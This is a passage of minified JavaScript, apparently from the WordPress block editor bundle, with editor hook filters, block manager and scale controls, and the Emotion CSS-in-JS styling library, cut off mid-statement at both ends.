u=WR({typography:c}),d=null!=e&&e.fontFamily?`has-${We(e.fontFamily)}-font-family`:"",p=null!=e&&null!==(r=e.style)&&void 0!==r&&null!==(l=r.typography)&&void 0!==l&&l.textAlign?`has-text-align-${null==e||null===(s=e.style)||void 0===s||null===(a=s.typography)||void 0===a?void 0:a.textAlign}`:"";return{className:ms(d,p,na(null==e?void 0:e.fontSize)),style:u}}function cA(e){const[t,n]=(0,u.useState)(e);return(0,u.useEffect)((()=>{e&&n(e)}),[e]),t}var uA;(0,h.addFilter)("editor.BlockEdit","core/editor/grid-visualizer",tA),function(e){e=e.map((e=>({...e,Edit:(0,u.memo)(e.edit)})));const t=(0,p.createHigherOrderComponent)((t=>n=>{const o=S();return[...e.map(((e,t)=>{const{Edit:i,hasSupport:r,attributeKeys:l=[],shareWithChildBlocks:s}=e;if(!(o[g]||o[f]&&s)||!r(n.name))return null;const a={};for(const e of l)n.attributes[e]&&(a[e]=n.attributes[e]);return(0,Nt.jsx)(i,{name:n.name,isSelected:n.isSelected,clientId:n.clientId,setAttributes:n.setAttributes,__unstableParentLayout:n.__unstableParentLayout,...a},t)})),(0,Nt.jsx)(t,{...n},"edit")]}),"withBlockEditHooks");(0,h.addFilter)("editor.BlockEdit","core/editor/hooks",t)}([WM,BR,qM,XM,JR,sN,Vk,fN,zN,HN,QN,ON].filter(Boolean)),function(e){const t=(0,p.createHigherOrderComponent)((t=>n=>{const[o,i]=(0,u.useState)(Array(e.length).fill(void 0));return[...e.map(((e,t)=>{const{hasSupport:o,attributeKeys:r=[],useBlockProps:l,isMatch:s}=e,a={};for(const e of r)n.attributes[e]&&(a[e]=n.attributes[e]);return!Object.keys(a).length||!o(n.name)||s&&!s(a)?null:(0,Nt.jsx)(HM,{index:t,useBlockProps:l,setAllWrapperProps:i,name:n.name,clientId:n.clientId,...a},t)})),(0,Nt.jsx)(t,{...n,wrapperProps:o.filter(Boolean).reduce(((e,t)=>({...e,...t,className:ms(e.className,t.className),style:{...e.style,...t.style}})),n.wrapperProps||{})},"edit")]}),"withBlockListBlockHooks");(0,h.addFilter)("editor.BlockListBlock","core/editor/hooks",t)}([WM,BR,pE,JR,pR,HR,sN,mR,kR,RP,Vk,dN,ON]),uA=[WM,BR,qM,YM,XM,RP,pR,JR,mR,kR],(0,h.addFilter)("blocks.getSaveContent.extraProps","core/editor/hooks",(function(e,t,n){return uA.reduce(((e,o)=>{const{hasSupport:i,attributeKeys:r=[],addSaveProps:l}=o,s={};for(const e of r)n[e]&&(s[e]=n[e]);return Object.keys(s).length&&i(t)?l(e,t,s):e}),e)}),0),(0,h.addFilter)("blocks.getSaveContent.extraProps","core/editor/hooks",(e=>(e.hasOwnProperty("className")&&!e.className&&delete e.className,e)));const dA={button:"wp-element-button",caption:"wp-element-caption"},pA=e=>dA[e]?dA[e]:"",hA=function({blockTypes:e,value:t,onItemChange:n}){return(0,Nt.jsx)("ul",{className:"block-editor-block-manager__checklist",children:e.map((e=>(0,Nt.jsxs)("li",{className:"block-editor-block-manager__checklist-item",children:[(0,Nt.jsx)(ne.CheckboxControl,{__nextHasNoMarginBottom:!0,label:e.title,checked:t.includes(e.name),onChange:(...t)=>n(e,...t)}),(0,Nt.jsx)(Fa,{icon:e.icon})]},e.name)))})},gA=function e({title:t,blockTypes:n,selectedBlockTypes:o,onChange:i}){const r=(0,p.useInstanceId)(e),l=(0,u.useCallback)(((e,t)=>{i(t?[...o,e]:o.filter((({name:t})=>t!==e.name)))}),[o,i]),s=(0,u.useCallback)((e=>{i(e?[...o,...n.filter((e=>!o.find((({name:t})=>t===e.name))))]:o.filter((e=>!n.find((({name:t})=>t===e.name)))))}),[n,o,i]);if(!n.length)return null;const a=n.map((({name:e})=>e)).filter((e=>(null!=o?o:[]).some((t=>t.name===e)))),c="block-editor-block-manager__category-title-"+r,d=a.length===n.length,h=!d&&a.length>0;return(0,Nt.jsxs)("div",{role:"group","aria-labelledby":c,className:"block-editor-block-manager__category",children:[(0,Nt.jsx)(ne.CheckboxControl,{__nextHasNoMarginBottom:!0,checked:d,onChange:s,className:"block-editor-block-manager__category-title",indeterminate:h,label:(0,Nt.jsx)("span",{id:c,children:t})}),(0,Nt.jsx)(hA,{blockTypes:n,value:a,onItemChange:l})]})},fA=[{value:"fill",label:(0,Je._x)("Fill","Scale option for dimensions control"),help:(0,Je.__)("Fill the space by stretching the content.")},{value:"contain",label:(0,Je._x)("Contain","Scale option for dimensions control"),help:(0,Je.__)("Fit the content to the space without clipping.")},{value:"cover",label:(0,Je._x)("Cover","Scale option for dimensions control"),help:(0,Je.__)("Fill the space by clipping what doesn't fit.")},{value:"none",label:(0,Je._x)("None","Scale option for dimensions control"),help:(0,Je.__)("Do not adjust the sizing of the content. Content that is too large will be clipped, and content that is too small will have additional padding.")},{value:"scale-down",label:(0,Je._x)("Scale down","Scale option for dimensions control"),help:(0,Je.__)("Scale down the content to fit the space if it is too big. Content that is too small will have additional padding.")}];function mA({panelId:e,value:t,onChange:n,options:o=fA,defaultValue:i=fA[0].value,isShownByDefault:r=!0}){const l=null!=t?t:"fill",s=(0,u.useMemo)((()=>o.reduce(((e,t)=>(e[t.value]=t.help,e)),{})),[o]);return(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{label:(0,Je.__)("Scale"),isShownByDefault:r,hasValue:()=>l!==i,onDeselect:()=>n(i),panelId:e,children:(0,Nt.jsx)(ne.__experimentalToggleGroupControl,{__nextHasNoMarginBottom:!0,label:(0,Je.__)("Scale"),isBlock:!0,help:s[l],value:l,onChange:n,size:"__unstable-large",children:o.map((e=>(0,Nt.jsx)(ne.__experimentalToggleGroupControlOption,{...e},e.value)))})})}function vA(){return vA=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)({}).hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},vA.apply(null,arguments)}function bA(e){var t=Object.create(null);return function(n){return void 0===t[n]&&(t[n]=e(n)),t[n]}}var kA=/^((children|dangerouslySetInnerHTML|key|ref|autoFocus|defaultValue|defaultChecked|innerHTML|suppressContentEditableWarning|suppressHydrationWarning|valueLink|abbr|accept|acceptCharset|accessKey|action|allow|allowUserMedia|allowPaymentRequest|allowFullScreen|allowTransparency|alt|async|autoComplete|autoPlay|capture|cellPadding|cellSpacing|challenge|charSet|checked|cite|classID|className|cols|colSpan|content|contentEditable|contextMenu|controls|controlsList|coords|crossOrigin|data|dateTime|decoding|default|defer|dir|disabled|disablePictureInPicture|disableRemotePlayback|download|draggable|encType|enterKeyHint|fetchpriority|fetchPriority|form|formAction|formEncType|formMethod|formNoValidate|formTarget|frameBorder|headers|height|hidden|high|href|hrefLang|htmlFor|httpEquiv|id|inputMode|integrity|is|keyParams|keyType|kind|label|lang|list|loading|loop|low|marginHeight|marginWidth|max|maxLength|media|mediaGroup|method|min|minLength|multiple|muted|name|nonce|noValidate|open|optimum|pattern|placeholder|playsInline|poster|preload|profile|radioGroup|readOnly|referrerPolicy|rel|required|reversed|role|rows|rowSpan|sandbox|scope|scoped|scrolling|seamless|selected|shape|size|sizes|slot|span|spellCheck|src|srcDoc|srcLang|srcSet|start|step|style|summary|tabIndex|target|title|translate|type|useMap|value|width|wmode|wrap|about|datatype|inlist|prefix|property|resource|typeof|vocab|autoCapitalize|autoCorrect|autoSave|color|incremental|fallback|inert|itemProp|itemScope|itemType|itemID|itemRef|on|option|results|security|unselectable|accentHeight|accumulate|additive|alignmentBaseline|allowReorder|alphabetic|amplitude|arabicForm|ascent|attributeName|attributeType|autoReverse|azimuth|baseFrequency|baselineShift|baseProfile|bbox|begin|bias|by|calcMode|capHeight|clip|clipPathUnits|clipPath|clipRule|colorInterpolation|colorInterpolationFilters|colorProfile|colorRendering|contentScriptType|contentStyleType|cursor|cx|cy|d|decelerate|descent|diffuseConstant|direction|display|divisor|dominantBaseline|dur|dx|dy|edgeMode|elevation|enableBackground|end|exponent|externalResourcesRequired|fill|fillOpacity|fillRule|filter|filterRes|filterUnits|floodColor|floodOpacity|focusable|fontFamily|fontSize|fontSizeAdjust|fontStretch|fontStyle|fontVariant|fontWeight|format|from|fr|fx|fy|g1|g2|glyphName|glyphOrientationHorizontal|glyphOrientationVertical|glyphRef|gradientTransform|gradientUnits|hanging|horizAdvX|horizOriginX|ideographic|imageRendering|in|in2|intercept|k|k1|k2|k3|k4|kernelMatrix|kernelUnitLength|kerning|keyPoints|keySplines|keyTimes|lengthAdjust|letterSpacing|lightingColor|limitingConeAngle|local|markerEnd|markerMid|markerStart|markerHeight|markerUnits|markerWidth|mask|maskContentUnits|maskUnits|mathematical|mode|numOctaves|offset|opacity|operator|order|orient|orientation|origin|overflow|overlinePosition|overlineThickness|panose1|paintOrder|pathLength|patternContentUnits|patternTransform|patternUnits|pointerEvents|points|pointsAtX|pointsAtY|pointsAtZ|preserveAlpha|preserveAspectRatio|primitiveUnits|r|radius|refX|refY|renderingIntent|repeatCount|repeatDur|requiredExtensions|requiredFeatures|restart|result|rotate|rx|ry|scale|seed|shapeRendering|slope|spacing|specularConstant|specularExponent|speed|spreadMethod|startOffset|stdDeviation|stemh|stemv|stitchTiles|stopColor|stopOpacity|strikethroughPosition|strikethroughThickness|string|stroke|strokeDasharray|strokeDashoffset|strokeLinecap|strokeLinejoin|strokeMiterlimit|strokeOpacity|strokeWidth|surfaceScale|systemLanguage|tableValues|targetX|targetY|textAnchor|textDecoration|textRendering|textLength|to|transform|u1|u2|underlinePosition|underlineThickness|unicode|unicodeBidi|unicodeRange|unitsPerEm|vAlphabetic|vHanging|vIdeographic|vMathematical|values|vectorEffect|version|vertAdvY|vertOriginX|vertOriginY|viewBox|viewTarget|visibility|widths|wordSpacing|writingMode|x|xHeight|x1|x2|xChannelSelector|xlinkActuate|xlinkArcrole|xlinkHref|xlinkRole|xlinkShow|xlinkTitle|xlinkType|xmlBase|xmlns|xmlnsXlink|xmlLang|xmlSpace|y|y1|y2|yChannelSelector|z|zoomAndPan|for|class|autofocus)|(([Dd][Aa][Tt][Aa]|[Aa][Rr][Ii][Aa]|x)-.*))$/,_A=bA((function(e){return kA.test(e)||111===e.charCodeAt(0)&&110===e.charCodeAt(1)&&e.charCodeAt(2)<91})),yA=function(){function e(e){var t=this;this._insertTag=function(e){var n;n=0===t.tags.length?t.insertionPoint?t.insertionPoint.nextSibling:t.prepend?t.container.firstChild:t.before:t.tags[t.tags.length-1].nextSibling,t.container.insertBefore(e,n),t.tags.push(e)},this.isSpeedy=void 0===e.speedy||e.speedy,this.tags=[],this.ctr=0,this.nonce=e.nonce,this.key=e.key,this.container=e.container,this.prepend=e.prepend,this.insertionPoint=e.insertionPoint,this.before=null}var t=e.prototype;return t.hydrate=function(e){e.forEach(this._insertTag)},t.insert=function(e){this.ctr%(this.isSpeedy?65e3:1)==0&&this._insertTag(function(e){var t=document.createElement("style");return t.setAttribute("data-emotion",e.key),void 0!==e.nonce&&t.setAttribute("nonce",e.nonce),t.appendChild(document.createTextNode("")),t.setAttribute("data-s",""),t}(this));var t=this.tags[this.tags.length-1];if(this.isSpeedy){var n=function(e){if(e.sheet)return e.sheet;for(var t=0;t<document.styleSheets.length;t++)if(document.styleSheets[t].ownerNode===e)return document.styleSheets[t]}(t);try{n.insertRule(e,n.cssRules.length)}catch(e){}}else t.appendChild(document.createTextNode(e));this.ctr++},t.flush=function(){this.tags.forEach((function(e){var t;return null==(t=e.parentNode)?void 0:t.removeChild(e)})),this.tags=[],this.ctr=0},e}(),xA=Math.abs,SA=String.fromCharCode,wA=Object.assign;function CA(e){return e.trim()}function BA(e,t,n){return e.replace(t,n)}function IA(e,t){return e.indexOf(t)}function jA(e,t){return 0|e.charCodeAt(t)}function EA(e,t,n){return e.slice(t,n)}function TA(e){return e.length}function PA(e){return e.length}function MA(e,t){return t.push(e),e}var RA=1,NA=1,AA=0,LA=0,DA=0,OA="";function zA(e,t,n,o,i,r,l){return{value:e,root:t,parent:n,type:o,props:i,children:r,line:RA,column:NA,length:l,return:""}}function FA(e,t){return wA(zA("",null,null,"",null,null,0),e,{length:-e.length},t)}function VA(){return DA=LA>0?jA(OA,--LA):0,NA--,10===DA&&(NA=1,RA--),DA}function HA(){return DA=LA<AA?jA(OA,LA++):0,NA++,10===DA&&(NA=1,RA++),DA}function GA(){return jA(OA,LA)}function $A(){return LA}function UA(e,t){return EA(OA,e,t)}function WA(e){switch(e){case 0:case 9:case 10:case 13:case 32:return 5;case 33:case 43:case 44:case 47:case 62:case 64:case 126:case 59:case 123:case 125:return 4;case 58:return 3;case 34:case 39:case 40:case 91:return 2;case 41:case 93:return 1}return 0}function KA(e){return RA=NA=1,AA=TA(OA=e),LA=0,[]}function ZA(e){return OA="",e}function qA(e){return CA(UA(LA-1,QA(91===e?e+2:40===e?e+1:e)))}function YA(e){for(;(DA=GA())&&DA<33;)HA();return WA(e)>2||WA(DA)>3?"":" "}function XA(e,t){for(;--t&&HA()&&!(DA<48||DA>102||DA>57&&DA<65||DA>70&&DA<97););return UA(e,$A()+(t<6&&32==GA()&&32==HA()))}function QA(e){for(;HA();)switch(DA){case e:return LA;case 34:case 39:34!==e&&39!==e&&QA(DA);break;case 40:41===e&&QA(e);break;case 92:HA()}return LA}function JA(e,t){for(;HA()&&e+DA!==57&&(e+DA!==84||47!==GA()););return"/*"+UA(t,LA-1)+"*"+SA(47===e?e:HA())}function eL(e){for(;!WA(GA());)HA();return UA(e,LA)}var tL="-ms-",nL="-moz-",oL="-webkit-",iL="comm",rL="rule",lL="decl",sL="@keyframes";function aL(e,t){for(var n="",o=PA(e),i=0;i<o;i++)n+=t(e[i],i,e,t)||"";return n}function cL(e,t,n,o){switch(e.type){case"@layer":if(e.children.length)break;case"@import":case lL:return e.return=e.return||e.value;case iL:return"";case sL:return e.return=e.value+"{"+aL(e.children,o)+"}";case rL:e.value=e.props.join(",")}return TA(n=aL(e.children,o))?e.return=e.value+"{"+n+"}":""}function uL(e){return ZA(dL("",null,null,null,[""],e=KA(e),0,[0],e))}function dL(e,t,n,o,i,r,l,s,a){for(var c=0,u=0,d=l,p=0,h=0,g=0,f=1,m=1,v=1,b=0,k="",_=i,y=r,x=o,S=k;m;)switch(g=b,b=HA()){case 40:if(108!=g&&58==jA(S,d-1)){-1!=IA(S+=BA(qA(b),"&","&\f"),"&\f")&&(v=-1);break}case 34:case 39:case 91:S+=qA(b);break;case 9:case 10:case 13:case 32:S+=YA(g);break;case 92:S+=XA($A()-1,7);continue;case 47:switch(GA()){case 42:case 47:MA(hL(JA(HA(),$A()),t,n),a);break;default:S+="/"}break;case 123*f:s[c++]=TA(S)*v;case 125*f:case 59:case 0:switch(b){case 0:case 125:m=0;case 59+u:-1==v&&(S=BA(S,/\f/g,"")),h>0&&TA(S)-d&&MA(h>32?gL(S+";",o,n,d-1):gL(BA(S," ","")+";",o,n,d-2),a);break;case 59:S+=";";default:if(MA(x=pL(S,t,n,c,u,i,s,k,_=[],y=[],d),r),123===b)if(0===u)dL(S,t,x,x,_,r,d,s,y);else switch(99===p&&110===jA(S,3)?100:p){case 100:case 108:case 109:case 115:dL(e,x,x,o&&MA(pL(e,x,x,0,0,i,s,k,i,_=[],d),y),i,y,d,s,o?_:y);break;default:dL(S,x,x,x,[""],y,0,s,y)}}c=u=h=0,f=v=1,k=S="",d=l;break;case 58:d=1+TA(S),h=g;default:if(f<1)if(123==b)--f;else if(125==b&&0==f++&&125==VA())continue;switch(S+=SA(b),b*f){case 38:v=u>0?1:(S+="\f",-1);break;case 44:s[c++]=(TA(S)-1)*v,v=1;break;case 64:45===GA()&&(S+=qA(HA())),p=GA(),u=d=TA(k=S+=eL($A())),b++;break;case 45:45===g&&2==TA(S)&&(f=0)}}return r}function pL(e,t,n,o,i,r,l,s,a,c,u){for(var d=i-1,p=0===i?r:[""],h=PA(p),g=0,f=0,m=0;g<o;++g)for(var v=0,b=EA(e,d+1,d=xA(f=l[g])),k=e;v<h;++v)(k=CA(f>0?p[v]+" "+b:BA(b,/&\f/g,p[v])))&&(a[m++]=k);return zA(e,t,n,0===i?rL:s,a,c,u)}function hL(e,t,n){return zA(e,t,n,iL,SA(DA),EA(e,2,-2),0)}function gL(e,t,n,o){return zA(e,t,n,lL,EA(e,0,o),EA(e,o+1,-1),o)}var fL=function(e,t,n){for(var o=0,i=0;o=i,i=GA(),38===o&&12===i&&(t[n]=1),!WA(i);)HA();return UA(e,LA)},mL=new WeakMap,vL=function(e){if("rule"===e.type&&e.parent&&!(e.length<1)){for(var t=e.value,n=e.parent,o=e.column===n.column&&e.line===n.line;"rule"!==n.type;)if(!(n=n.parent))return;if((1!==e.props.length||58===t.charCodeAt(0)||mL.get(n))&&!o){mL.set(e,!0);for(var i=[],r=function(e,t){return ZA(function(e,t){var n=-1,o=44;do{switch(WA(o)){case 0:38===o&&12===GA()&&(t[n]=1),e[n]+=fL(LA-1,t,n);break;case 2:e[n]+=qA(o);break;case 4:if(44===o){e[++n]=58===GA()?"&\f":"",t[n]=e[n].length;break}default:e[n]+=SA(o)}}while(o=HA());return e}(KA(e),t))}(t,i),l=n.props,s=0,a=0;s<r.length;s++)for(var c=0;c<l.length;c++,a++)e.props[a]=i[s]?r[s].replace(/&\f/g,l[c]):l[c]+" "+r[s]}}},bL=function(e){if("decl"===e.type){var t=e.value;108===t.charCodeAt(0)&&98===t.charCodeAt(2)&&(e.return="",e.value="")}};function kL(e,t){switch(function(e,t){return 45^jA(e,0)?(((t<<2^jA(e,0))<<2^jA(e,1))<<2^jA(e,2))<<2^jA(e,3):0}(e,t)){case 5103:return oL+"print-"+e+e;case 5737:case 4201:case 3177:case 3433:case 1641:case 4457:case 2921:case 5572:case 6356:case 5844:case 3191:case 6645:case 3005:case 6391:case 5879:case 5623:case 6135:case 4599:case 4855:case 4215:case 6389:case 5109:case 5365:case 5621:case 3829:return oL+e+e;case 5349:case 4246:case 4810:case 6968:case 2756:return oL+e+nL+e+tL+e+e;case 6828:case 4268:return oL+e+tL+e+e;case 6165:return oL+e+tL+"flex-"+e+e;case 5187:return oL+e+BA(e,/(\w+).+(:[^]+)/,oL+"box-$1$2"+tL+"flex-$1$2")+e;case 5443:return oL+e+tL+"flex-item-"+BA(e,/flex-|-self/,"")+e;case 4675:return oL+e+tL+"flex-line-pack"+BA(e,/align-content|flex-|-self/,"")+e;case 5548:return oL+e+tL+BA(e,"shrink","negative")+e;case 5292:return oL+e+tL+BA(e,"basis","preferred-size")+e;case 6060:return oL+"box-"+BA(e,"-grow","")+oL+e+tL+BA(e,"grow","positive")+e;case 4554:return oL+BA(e,/([^-])(transform)/g,"$1"+oL+"$2")+e;case 6187:return BA(BA(BA(e,/(zoom-|grab)/,oL+"$1"),/(image-set)/,oL+"$1"),e,"")+e;case 5495:case 3959:return BA(e,/(image-set\([^]*)/,oL+"$1$`$1");case 4968:return BA(BA(e,/(.+:)(flex-)?(.*)/,oL+"box-pack:$3"+tL+"flex-pack:$3"),/s.+-b[^;]+/,"justify")+oL+e+e;case 4095:case 3583:case 4068:case 2532:return BA(e,/(.+)-inline(.+)/,oL+"$1$2")+e;case 8116:case 7059:case 5753:case 5535:case 5445:case 5701:case 4933:case 4677:case 5533:case 5789:case 5021:case 4765:if(TA(e)-1-t>6)switch(jA(e,t+1)){case 109:if(45!==jA(e,t+4))break;case 102:return BA(e,/(.+:)(.+)-([^]+)/,"$1"+oL+"$2-$3$1"+nL+(108==jA(e,t+3)?"$3":"$2-$3"))+e;case 115:return~IA(e,"stretch")?kL(BA(e,"stretch","fill-available"),t)+e:e}break;case 4949:if(115!==jA(e,t+1))break;case 6444:switch(jA(e,TA(e)-3-(~IA(e,"!important")&&10))){case 107:return BA(e,":",":"+oL)+e;case 101:return BA(e,/(.+:)([^;!]+)(;|!.+)?/,"$1"+oL+(45===jA(e,14)?"inline-":"")+"box$3$1"+oL+"$2$3$1"+tL+"$2box$3")+e}break;case 5936:switch(jA(e,t+11)){case 114:return oL+e+tL+BA(e,/[svh]\w+-[tblr]{2}/,"tb")+e;case 108:return oL+e+tL+BA(e,/[svh]\w+-[tblr]{2}/,"tb-rl")+e;case 45:return oL+e+tL+BA(e,/[svh]\w+-[tblr]{2}/,"lr")+e}return oL+e+tL+e+e}return e}var _L=[function(e,t,n,o){if(e.length>-1&&!e.return)switch(e.type){case lL:e.return=kL(e.value,e.length);break;case sL:return aL([FA(e,{value:BA(e.value,"@","@"+oL)})],o);case rL:if(e.length)return function(e,t){return e.map(t).join("")}(e.props,(function(t){switch(function(e,t){return(e=/(::plac\w+|:read-\w+)/.exec(e))?e[0]:e}(t)){case":read-only":case":read-write":return aL([FA(e,{props:[BA(t,/:(read-\w+)/,":-moz-$1")]})],o);case"::placeholder":return aL([FA(e,{props:[BA(t,/:(plac\w+)/,":"+oL+"input-$1")]}),FA(e,{props:[BA(t,/:(plac\w+)/,":-moz-$1")]}),FA(e,{props:[BA(t,/:(plac\w+)/,tL+"input-$1")]})],o)}return""}))}}],yL=function(e){var t=e.key;if("css"===t){var n=document.querySelectorAll("style[data-emotion]:not([data-s])");Array.prototype.forEach.call(n,(function(e){-1!==e.getAttribute("data-emotion").indexOf(" ")&&(document.head.appendChild(e),e.setAttribute("data-s",""))}))}var o,i,r=e.stylisPlugins||_L,l={},s=[];o=e.container||document.head,Array.prototype.forEach.call(document.querySelectorAll('style[data-emotion^="'+t+' "]'),(function(e){for(var t=e.getAttribute("data-emotion").split(" "),n=1;n<t.length;n++)l[t[n]]=!0;s.push(e)}));var a,c,u,d,p=[cL,(d=function(e){a.insert(e)},function(e){e.root||(e=e.return)&&d(e)})],h=(c=[vL,bL].concat(r,p),u=PA(c),function(e,t,n,o){for(var i="",r=0;r<u;r++)i+=c[r](e,t,n,o)||"";return i});i=function(e,t,n,o){a=n,aL(uL(e?e+"{"+t.styles+"}":t.styles),h),o&&(g.inserted[t.name]=!0)};var g={key:t,sheet:new yA({key:t,container:o,nonce:e.nonce,speedy:e.speedy,prepend:e.prepend,insertionPoint:e.insertionPoint}),nonce:e.nonce,inserted:l,registered:{},insert:i};return g.sheet.hydrate(s),g},xL={animationIterationCount:1,aspectRatio:1,borderImageOutset:1,borderImageSlice:1,borderImageWidth:1,boxFlex:1,boxFlexGroup:1,boxOrdinalGroup:1,columnCount:1,columns:1,flex:1,flexGrow:1,flexPositive:1,flexShrink:1,flexNegative:1,flexOrder:1,gridRow:1,gridRowEnd:1,gridRowSpan:1,gridRowStart:1,gridColumn:1,gridColumnEnd:1,gridColumnSpan:1,gridColumnStart:1,msGridRow:1,msGridRowSpan:1,msGridColumn:1,msGridColumnSpan:1,fontWeight:1,lineHeight:1,opacity:1,order:1,orphans:1,scale:1,tabSize:1,widows:1,zIndex:1,zoom:1,WebkitLineClamp:1,fillOpacity:1,floodOpacity:1,stopOpacity:1,strokeDasharray:1,strokeDashoffset:1,strokeMiterlimit:1,strokeOpacity:1,strokeWidth:1};function SL(e){var t=Object.create(null);return function(n){return void 0===t[n]&&(t[n]=e(n)),t[n]}}var wL=/[A-Z]|^ms/g,CL=/_EMO_([^_]+?)_([^]*?)_EMO_/g,BL=function(e){return 45===e.charCodeAt(1)},IL=function(e){return null!=e&&"boolean"!=typeof e},jL=SL((function(e){return BL(e)?e:e.replace(wL,"-$&").toLowerCase()})),EL=function(e,t){switch(e){case"animation":case"animationName":if("string"==typeof t)return t.replace(CL,(function(e,t,n){return PL={name:t,styles:n,next:PL},t}))}return 1===xL[e]||BL(e)||"number"!=typeof t||0===t?t:t+"px"};function TL(e,t,n){if(null==n)return"";var o=n;if(void 0!==o.__emotion_styles)return o;switch(typeof n){case"boolean":return"";case"object":var i=n;if(1===i.anim)return PL={name:i.name,styles:i.styles,next:PL},i.name;var r=n;if(void 0!==r.styles){var l=r.next;if(void 0!==l)for(;void 0!==l;)PL={name:l.name,styles:l.styles,next:PL},l=l.next;return r.styles+";"}return function(e,t,n){var o="";if(Array.isArray(n))for(var i=0;i<n.length;i++)o+=TL(e,t,n[i])+";";else for(var r in n){var l=n[r];if("object"!=typeof l){var s=l;null!=t&&void 0!==t[s]?o+=r+"{"+t[s]+"}":IL(s)&&(o+=jL(r)+":"+EL(r,s)+";")}else if(!Array.isArray(l)||"string"!=typeof l[0]||null!=t&&void 0!==t[l[0]]){var a=TL(e,t,l);switch(r){case"animation":case"animationName":o+=jL(r)+":"+a+";";break;default:o+=r+"{"+a+"}"}}else for(var c=0;c<l.length;c++)IL(l[c])&&(o+=jL(r)+":"+EL(r,l[c])+";")}return o}(e,t,n);case"function":if(void 0!==e){var s=PL,a=n(e);return PL=s,TL(e,t,a)}}var c=n;if(null==t)return c;var u=t[c];return void 0!==u?u:c}var PL,ML=/label:\s*([^\s;{]+)\s*(;|$)/g,RL=!!ff.useInsertionEffect&&ff.useInsertionEffect,NL=RL||function(e){return e()},AL=(RL||ff.useLayoutEffect,ff.createContext("undefined"!=typeof HTMLElement?yL({key:"css"}):null)),LL=(AL.Provider,function(e){return(0,ff.forwardRef)((function(t,n){var o=(0,ff.useContext)(AL);return e(t,o,n)}))}),DL=ff.createContext({}),OL=function(e,t,n){var o=e.key+"-"+t.name;!1===n&&void 0===e.registered[o]&&(e.registered[o]=t.styles)},zL=_A,FL=function(e){return"theme"!==e},VL=function(e){return"string"==typeof e&&e.charCodeAt(0)>96?zL:FL},HL=function(e,t,n){var o;if(t){var i=t.shouldForwardProp;o=e.__emotion_forwardProp&&i?function(t){return e.__emotion_forwardProp(t)&&i(t)}:i}return"function"!=typeof o&&n&&(o=e.__emotion_forwardProp),o},GL=function(e){var t=e.cache,n=e.serialized,o=e.isStringTag;return OL(t,n,o),NL((function(){return function(e,t,n){OL(e,t,n);var o=e.key+"-"+t.name;if(void 0===e.inserted[t.name]){var i=t;do{e.insert(t===i?"."+o:"",i,e.sheet,!0),i=i.next}while(void 0!==i)}}(t,n,o)})),null},$L=function e(t,n){var o,i,r=t.__emotion_real===t,l=r&&t.__emotion_base||t;void 0!==n&&(o=n.label,i=n.target);var s=HL(t,n,r),a=s||VL(l),c=!a("as");return function(){var u=arguments,d=r&&void 0!==t.__emotion_styles?t.__emotion_styles.slice(0):[];if(void 0!==o&&d.push("label:"+o+";"),null==u[0]||void 0===u[0].raw)d.push.apply(d,u);else{d.push(u[0][0]);for(var p=u.length,h=1;h<p;h++)d.push(u[h],u[0][h])}var g=LL((function(e,t,n){var o=c&&e.as||l,r="",u=[],p=e;if(null==e.theme){for(var h in p={},e)p[h]=e[h];p.theme=ff.useContext(DL)}"string"==typeof e.className?r=function(e,t,n){var o="";return n.split(" ").forEach((function(n){void 0!==e[n]?t.push(e[n]+";"):n&&(o+=n+" ")})),o}(t.registered,u,e.className):null!=e.className&&(r=e.className+" ");var g=function(e,t,n){if(1===e.length&&"object"==typeof e[0]&&null!==e[0]&&void 0!==e[0].styles)return e[0];var o=!0,i="";PL=void 0;var r=e[0];null==r||void 0===r.raw?(o=!1,i+=TL(n,t,r)):i+=r[0];for(var l=1;l<e.length;l++)i+=TL(n,t,e[l]),o&&(i+=r[l]);ML.lastIndex=0;for(var s,a="";null!==(s=ML.exec(i));)a+="-"+s[1];var c=function(e){for(var t,n=0,o=0,i=e.length;i>=4;++o,i-=4)t=1540483477*(65535&(t=255&e.charCodeAt(o)|(255&e.charCodeAt(++o))<<8|(255&e.charCodeAt(++o))<<16|(255&e.charCodeAt(++o))<<24))+(59797*(t>>>16)<<16),n=1540483477*(65535&(t^=t>>>24))+(59797*(t>>>16)<<16)^1540483477*(65535&n)+(59797*(n>>>16)<<16);switch(i){case 3:n^=(255&e.charCodeAt(o+2))<<16;case 2:n^=(255&e.charCodeAt(o+1))<<8;case 1:n=1540483477*(65535&(n^=255&e.charCodeAt(o)))+(59797*(n>>>16)<<16)}return(((n=1540483477*(65535&(n^=n>>>13))+(59797*(n>>>16)<<16))^n>>>15)>>>0).toString(36)}(i)+a;return{name:c,styles:i,next:PL}}(d.concat(u),t.registered,p);r+=t.key+"-"+g.name,void 0!==i&&(r+=" "+i);var f=c&&void 0===s?VL(o):a,m={};for(var v in e)c&&"as"===v||f(v)&&(m[v]=e[v]);return m.className=r,n&&(m.ref=n),ff.createElement(ff.Fragment,null,ff.createElement(GL,{cache:t,serialized:g,isStringTag:"string"==typeof o}),ff.createElement(o,m))}));return g.displayName=void 0!==o?o:"Styled("+("string"==typeof l?l:l.displayName||l.name||"Component")+")",g.defaultProps=t.defaultProps,g.__emotion_real=g,g.__emotion_base=l,g.__emotion_styles=d,g.__emotion_forwardProp=s,Object.defineProperty(g,"toString",{value:function(){return"."+i}}),g.withComponent=function(t,o){return e(t,vA({},n,o,{shouldForwardProp:HL(g,o,!0)})).apply(void 0,d)},g}};const UL=$L(ne.__experimentalToolsPanelItem,{target:"e1djols70"})({name:"957xgf",styles:"grid-column:span 1"});function WL({panelId:e,value:t={},onChange:n=(()=>{}),units:o,isShownByDefault:i=!0}){var r,l;const s="auto"===t.width?"":null!==(r=t.width)&&void 0!==r?r:"",a="auto"===t.height?"":null!==(l=t.height)&&void 0!==l?l:"",c=e=>o=>{const i={...t};o?i[e]=o:delete 